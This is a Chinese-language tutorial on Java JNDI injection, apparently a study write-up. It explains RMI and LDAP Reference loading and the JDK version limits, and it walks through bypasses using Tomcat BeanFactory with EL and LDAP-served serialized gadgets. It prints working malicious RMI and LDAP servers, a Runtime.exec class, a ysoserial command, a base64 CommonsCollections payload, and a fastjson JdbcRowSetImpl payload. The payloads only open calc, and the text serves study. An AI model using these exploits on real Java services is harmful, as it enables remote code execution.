因为 jndi 的内容比较多,我们从官方文档去看,专挑和安全有关系的地方看。
官方文档地址:https://docs.oracle.com/javase/tutorial/jndi/overview/index.html
一、jndi基本介绍
什么是jndi?它的作用是什么?
根据官方文档,JNDI 全称为 Java Naming and Directory Interface ,即 Java 名称与目录接口。也就是一个名字对应一个 Java 对象。也可以说是一个字符串对应的java对象;
jndi 在 jdk 里面支持以下四种服务:
LDAP:轻量级目录访问协议
通用对象请求代理架构(CORBA);通用对象服务(COS)名称服务;
Java远程方法调用(RMI)注册表
DNS服务
前三种都是字符串对应对象,DNS服务是IP对应域名;
1.1 jndi的代码以及包说明 jndi主要是上述四种服务,对应四个包加一个主包;
jndi接口主要分为下面5个包:
其中最重要的是javax.naming包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。 以上述打印机服务为例,通过 jndi 接口,用户可以透明地调用远程打印服务,伪代码如下所示:
1 2 3 Context ctx = new InitialContext (env);Printer printer = (Printer)ctx.lookup("myprinter" ); printer.print(report);
Jndi 在对不同服务进行调用的时候,会去调用 xxxContext 这个类,比如调用 RMI 服务的时候就是调的 RegistryContext,这一点是很重要的,记住了这一点对于 JNDI 这里的漏洞理解非常有益。
一般的应用也就是先 new InitialContext()
,再调用 API 即可,下面我们先看一个 JNDI 结合 RMI 的代码实例。
1.2 jndi注入限制条件
协议
JDK6
JDK7
JDK8
JDK11
LADP
6u211以下
7u201以下
8u191以下
11.0.1以下
RMI
6u132以下
7u122以下
8u113以下
无
二、jndi的利用方式,代码以及一些漏洞 2.1 jndi结合RMI 新建两个模块,分别放置服务端和客户端,代码如下
1 2 3 4 5 6 7 public class JndiRmiServer { public static void main (String[] args) throws NamingException, RemoteException { InitialContext initialContext = new InitialContext (); Registry registry = LocateRegistry.createRegistry(1099 ); initialContext.rebind("rmi://127.0.0.1:1099/remoteObj" , new RemoteObjImpl ()); } }
1 2 3 4 5 6 7 public class JndiRmiClient { public static void main (String[] args) throws NamingException { InitialContext initialContext = new InitialContext (); RemoteObj remoteObj = (RemoteObj)initialContext.lookup("rmi://127.0.0.1/remoteObj" ); System.out.println(remoteObj.sayHello("hello" )); } }
2.1.1 RMI原生漏洞 这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 jndi 的 api 实际上是调用了 RMI 的库里原生的 lookup()
方法。
断点的话,下一个在 InitialContext.java
的 lookup()
方法这里即可,开始调试。
进到 lookup()
方法里面进去,这里 GenericURLContext
类的 lookup()
方法里面又套了一个 lookup()
方法,我们继续进去。
进去之后发现这个类是 RegistryContext
,也就是 RMI 对应 lookup()
方法的类,至此,可以基本说明JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务。
所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。
2.1.2 引用的漏洞(Normal Jndi)
这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。
原理是在服务端调用了一个 Reference
对象,我个人的理解,它是很像代理的。
Reference对象创建的时候的三个参数的意义:
**String className**
:表示要创建的资源的完全限定类名。用于在查找时确定具体的资源类型。
**StringFactory**
(可选):指定一个 ObjectFactory
的类名,用于在查找时创建实际的对象实例。若不指定,JNDI 会尝试默认构造。
**StringRefAddr[]**
:通过 StringRefAddr
对象传递属性,通常用于定义资源的配置,比如数据库连接的 URL、用户名和密码等。每个 StringRefAddr
包含一个名称和值,用于描述具体的配置项。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import javax.naming.InitialContext; import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry; public class JNDIRMIServer { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference ("Calc" ,"Calc" ,"http://localhost:7777/" ); initialContext.rebind("rmi://localhost:1099/remoteObj" , reference); } }
我们看到这个地方,原本我们是这样的
1 initialContext.rebind("rmi://localhost:1099/remoteObj" , new RemoteObjImpl ());
直接是绑定了一个对象,而在 jndi 里面,我们可以通过 new 一个 Reference 类的方法来解决。然后再 rebind 调用它,这个思路有点像代理吧,然后调用它这个很像 URLClassLoader。有兴趣的师傅可以跟一下断点。
如果要攻击的话,也很简单,我们在 URLClassLoader 这个获取的方法里面添加恶意类就可以了,比如我这里是 Calc.exe 这个恶意命令调用,代码如下
1 2 3 4 5 public class Calc { public Calc () throws Exception { Runtime.getRuntime().exec("calc" ); } }
然后通过python起服务器运行启动即可;
1 python -m http.server 7777
如果是使用上述代码进行程序运行,是一定会报错的,因为服务端这里还是调用sayHello(),但是我们实际上查找到的是远程的Calc.class,Calc.class类上是没有sayHello这个方法的,因为导致无法调用sayHello报错;
开始调试,查找漏洞点;断点依旧打在lookup()这个地方一步一步查找;
我们的目的是为了了解漏洞出发的原因,恶意类是如何出发的,怎么调用构造函数使得命令执行的?
跟进几个 lookup()
方法,直到去到 RMI 的原生的 lookup()
,对应的类我也在前文提及过了,是 RegistryContext
在RegistryContext
类中的var2变量对应的是从远程类中获取的到的obj变量,把Ref的值赋给了它。obj是一个ReferenceWrapper_Stub
类的变量,因为这是一个Reference。
接着跟进decodeObject()
方法,查看方法的实现;
先做了一个简单的判断,首先判断var1是否为 ReferenceWrapper
,也就是判断是否为 Reference
对象;往下是一个比较重要的方法 getObjectInstance()
,从名字上推测这应该是一个初始化的方法。跟进getObjectInstance()
查看实现;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 public static Object getObjectInstance (Object refInfo, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception { ObjectFactory factory; ObjectFactoryBuilder builder = getObjectFactoryBuilder(); if (builder != null ) { factory = builder.createObjectFactory(refInfo, environment); return factory.getObjectInstance(refInfo, name, nameCtx, environment); } Reference ref = null ; if (refInfo instanceof Reference) { ref = (Reference) refInfo; } else if (refInfo instanceof Referenceable) { ref = ((Referenceable)(refInfo)).getReference(); } Object answer; if (ref != null ) { String f = ref.getFactoryClassName(); if (f != null ) { factory = getObjectFactoryFromReference(ref, f); if (factory != null ) { return factory.getObjectInstance(ref, name, nameCtx, environment); } return refInfo; } else { answer = processURLAddrs(ref, name, nameCtx, environment); if (answer != null ) { return answer; } } } answer = createObjectFromFactories(refInfo, name, nameCtx, environment); return (answer != null ) ? answer : refInfo; }
在这个方法中,首先进行了builder
的判断,但是我们并没有使用过想用功能,简单看看就行,应该没用到;
继续往下看到关于reference的,将传入的refInfo
强转为Reference
。继续向下看……
在这里我们看到了关于查找Factory
的地方,如果ref中存在factory的定义,则直接通过调用getObjectInstance
方法获取对象实例返回;那么,我们现在继续跟进方法的实现;
getObjectFactoryFromReference()
这个方法中,我们已经获取到了这个恶意类,接着执行加载类的 loadClass()
方法。
继续往下走,获取到 codebase,并且进行 helper.loadClass(),这里就是我们前面讲到的动态加载类的一个方法 ———— URLClassLoader
最后在 newInstance() 这一步执行代码。
2.1.3 总结 总结一下还是比较简单的,就是 URLClassLoader 的动态类加载,但是讲道理,这个地方是 Jndi 专属的,不是因为 RMI 的问题。
然后攻击点的话,就是因为客户端进行了 lookup()
方法的调用。因此这也是服务器攻击客户端的方法。
这个漏洞在 jdk8u121 当中被修复,也就是 lookup()
方法只可以对本地进行 lookup()
方法的调用。
2.2 Jndi结合ldap 2.2.1 ldap介绍 ldap 是一种协议,并不是 Java 独有的
LDAP 既是一类服务,也是一种协议,定义在 RFC2251 (RFC4511 ) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite 。
LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。
LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。
2.2.2 ldap的JNDI漏洞 先起一个 LDAP 的服务,这里需要先在 pom.xml 中导入 unboundid-ldapsdk
的依赖。
1 2 3 4 5 6 <dependency > <groupId > com.unboundid</groupId > <artifactId > unboundid-ldapsdk</artifactId > <version > 3.2.0</version > <scope > test</scope > </dependency >
编写ldap服务端的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 package com.shlin;import com.sun.deploy.cache.InMemoryLocalApplicationProperties;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;public class LdapServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://127.0.0.1:8000/#Calc" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault() )); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); }catch (Exception e){ e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor (URL url) { this .codebase = url; } @Override public void processSearchResult (InMemoryInterceptedSearchResult result) { String baseDN = result.getRequest().getBaseDN(); Entry e = new Entry (baseDN); try { sendResult(result, baseDN, e); } catch (LDAPException ex) { throw new RuntimeException (ex); } catch (MalformedURLException ex) { throw new RuntimeException (ex); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException, MalformedURLException, LDAPException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } e.addAttribute("javaCodeBase" , cbstring); e.addAttribute("objectClass" , "javaNamingReference" ); e.addAttribute("javaFactory" , this .codebase.getRef()); result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } } }
然后再来编写客户端client的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.shlin;import javax.naming.InitialContext;import javax.naming.NamingException;public class LdapClient { public static void main (String[] args) throws NamingException { InitialContext initialContext = new InitialContext (); initialContext.lookup("ldap://localhost:1234/Calc" ); } }
然后再来编辑恶意类Calc.java并编译,这里有个需要注意的问题,这个恶意类请不要带上package的标签,eg:package com.***;
,不然可能没法成功弹出计算器,会报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 import java.io.IOException;public class Calc { public Calc () throws IOException { Runtime.getRuntime().exec("calc" ); } }
编译完成了恶意类后得到Calc.class
,然后再Calc.class
的目录下用python起一个http服务
1 python -m http.server 8000
注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对LDAP+Reference远程工厂类的加载增加了限制。
所以,当JDK版本介于8u191、7u201、6u211与8u121、7u131、6u141之间时,我们就可以利用LDAP+Reference的技巧来进行JNDI注入的利用。
因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下。
2.3 jndi结合CORBA 一个简单的流程是:resolve_str
最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory
去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader
,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用。所以就不深入研究了。
三、绕过高版本jdk的攻击 3.1 jdk8u121<jdk_version<jdk8u191 介于 121 和 191 版本之间的 jdk8 可以通过一些手段利用 JNDI 注入漏洞;可以通过 ldap+reference 进行利用,如上所述;
这个漏洞出现的原因在于 JNDI 本身,可以先来看看在 jdk8u191 之后的版本进行了哪些 patch;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public Class<?> loadClass(String className, String codebase) throws ClassNotFoundException, MalformedURLException { ClassLoader parent = getContextClassLoader(); ClassLoader cl = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, cl); }public Class<?> loadClass(String className, String codebase)throws ClassNotFoundException, MalformedURLException{ if ("true" .equalsIgnoreCase(trustURLCodebase)){ ClassLoader parent = getContextClassLoader(); ClassLoader c1 = URLClassLoader.newInstance(getUrlArray(codebase), parent); return loadClass(className, c1); } else { return null ; } }
自从 jdk8u191 更新以后,在使用URLClassLoader
远程类加载器之前增加了一个 if 判断,根据 trustURLCodebase的值是否为true
的值来进行判断,它的值默认为 false。通俗的来说,jdk8u191 之后的版本通过添加 trustURLCodebase 的值是否为 true
这一手段,让我们无法加载 codebase,也就是无法让我们进行 URLClassLoader 的攻击了。
3.2 jdk_version>=jdk8u191 利用本地恶意 Class 作为 Reference Factory 根据我们之前说的,在 jdk8u191 后增加了一个是否本地类的判断,那么……只要恶意类在服务端不就行了吗,如此简单;
简单地说,就是要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用。该恶意 Factory 类必须实现javax.naming.spi.ObjectFactory
接口,实现该接口的 getObjectInstance() 方法。
大佬找到的是这个 org.apache.naming.factory.BeanFactory
类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛。该类的 getObjectInstance()
函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 package com.candy;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.StringRefAddr;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIBypassHighJava { public static void main (String[] args) throws Exception { System.out.println("[*]Evil RMI Server is Listening on port: 1099" ); Registry registry = LocateRegistry.createRegistry( 1099 ); ResourceRef ref = new ResourceRef ("javax.el.ELProcessor" , null , "" , "" , true ,"org.apache.naming.factory.BeanFactory" ,null ); ref.add(new StringRefAddr ("forceString" , "x=eval" )); ref.add(new StringRefAddr ("x" , "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")" )); System.out.println("[*]Evil command: calc" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper (ref); registry.bind("Object" , referenceWrapper); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package com.candy;import javax.naming.InitialContext;import javax.naming.StringRefAddr;public class JNDIBypassHighJavaServerRebind { public static void main (String[] args) throws Exception{ InitialContext initialContext = new InitialContext (); ResourceRef resourceRef = new ResourceRef ("javax.el.ELProcessor" ,null ,"" ,"" , true ,"org.apache.naming.factory.BeanFactory" ,null ); resourceRef.add(new StringRefAddr ("forceString" , "x=eval" )); resourceRef.add(new StringRefAddr ("x" ,"Runtime.getRuntime().exe('calc')" )); initialContext.rebind("rmi://localhost:1099/remoteObj" , resourceRef); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 package com.candy;import javax.naming.Context;import javax.naming.InitialContext;public class JNDIBypassHighJavaClient { public static void main (String[] args) throws Exception { String uri = "rmi://localhost:1099/Object" ; Context context = new InitialContext (); context.lookup(uri); } }
利用 ldap 返回序列化数据触发本地 gadget LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象。如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。此时,如果服务端 ClassPath 中存在反序列化多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击。
使用 ysoserial 工具生成 Commons-Collections 这条 Gadget 并进行 Base64 编码输出:
1 java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64
恶意 LDAP 服务器如下,主要是在 javaSerializedData 字段内填入刚刚生成的反序列化 payload 数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 import com.unboundid.util.Base64;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPException;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;import java.net.MalformedURLException;import java.net.URL;import java.text.ParseException;public class JNDIGadgetServer { private static final String LDAP_BASE = "dc=example,dc=com" ; public static void main (String[] args) { String url = "http://vps:8000/#ExportObject" ; int port = 1234 ; try { InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig (LDAP_BASE); config.setListenerConfigs(new InMemoryListenerConfig ( "listen" , InetAddress.getByName("0.0.0.0" ), port, ServerSocketFactory.getDefault(), SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); config.addInMemoryOperationInterceptor(new OperationInterceptor (new URL (url))); InMemoryDirectoryServer ds = new InMemoryDirectoryServer (config); System.out.println("Listening on 0.0.0.0:" + port); ds.startListening(); } catch ( Exception e ) { e.printStackTrace(); } } private static class OperationInterceptor extends InMemoryOperationInterceptor { private URL codebase; public OperationInterceptor ( URL cb ) { this .codebase = cb; } @Override public void processSearchResult ( InMemoryInterceptedSearchResult result ) { String base = result.getRequest().getBaseDN(); Entry e = new Entry (base); try { sendResult(result, base, e); } catch ( Exception e1 ) { e1.printStackTrace(); } } protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException { URL turl = new URL (this .codebase, this .codebase.getRef().replace('.' , '/' ).concat(".class" )); System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl); e.addAttribute("javaClassName" , "Exploit" ); String cbstring = this .codebase.toString(); int refPos = cbstring.indexOf('#' ); if ( refPos > 0 ) { cbstring = cbstring.substring(0 , refPos); } try { e.addAttribute("javaSerializedData" , Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg=" )); } catch (ParseException exception) { exception.printStackTrace(); } result.sendSearchEntry(e); result.setResult(new LDAPResult (0 , ResultCode.SUCCESS)); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.alibaba.fastjson.JSON;import javax.naming.Context;import javax.naming.InitialContext;public class JNDIGadgetClient { public static void main (String[] args) throws Exception { Context context = new InitialContext (); context.lookup("ldap://localhost:1234/ExportObject" ); String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1234/ExportObject\",\"autoCommit\":\"true\" }" ; JSON.parse(payload); } }
参考连接:
https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0
https://xz.aliyun.com/t/12277?time__1311=GqGxRDcD9D2iqGN4mxU2Qfe4GKK7KtN3x